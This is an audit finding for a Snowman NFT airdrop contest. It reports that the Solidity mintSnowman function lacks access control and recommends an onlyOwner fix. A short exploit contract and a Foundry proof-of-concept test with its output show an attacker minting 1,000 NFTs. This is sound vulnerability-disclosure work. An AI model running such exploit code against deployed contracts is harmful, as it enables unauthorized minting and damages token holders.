Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unrestricted mintSnowman Allows Bypassing the Airdrop Logic

Root + Impact

Description

  • Under normal operation, Snowman NFTs are expected to be minted exclusively through the SnowmanAirdrop contract after successful Merkle proof and signature verification.

  • However, the mintSnowman function in the Snowman contract is declared as external and lacks any form of access control, allowing arbitrary callers to mint Snowman NFTs directly and completely bypass the airdrop mechanism.

// Root cause in the codebase with @> marks to highlight the relevant section
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • The function is callable by any address immediately after deployment

  • No ownership, role, or caller validation is required

Impact:

  • Unlimited Snowman NFTs can be minted by arbitrary users

  • The integrity and scarcity of the NFT airdrop are fully compromised

Proof of Concept

contract SnowmanExploit {
Snowman public snowman;
constructor(address _snowman) {
snowman = Snowman(_snowman);
}
function exploit() external {
// Mint 1,000 Snowman NFTs directly to the attacker
// No Snow tokens, no Merkle proof, no signature required
snowman.mintSnowman(msg.sender, 1000);
}
}

Scenario

The Snowman NFT is intended to be minted only through the SnowmanAirdrop contract after satisfying all eligibility checks (Snow balance, Merkle proof, and EIP-712 signature).
However, since Snowman.mintSnowman is publicly accessible and lacks access control, an attacker can mint arbitrary amounts of Snowman NFTs without interacting with the airdrop contract at all.

Step-by-Step Attack Flow

Attacker identifies that mintSnowman is declared as external and has no access restrictions.

Attacker directly calls mintSnowman, specifying themselves as the receiver and an arbitrary amount.

The Snowman contract mints NFTs sequentially without validating the caller or verifying any airdrop conditions.

Snowman NFTs are successfully minted despite the attacker never holding Snow tokens or providing a valid Merkle proof.

Recommended Mitigation

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {

Alternatively, restrict minting rights exclusively to the SnowmanAirdrop contract.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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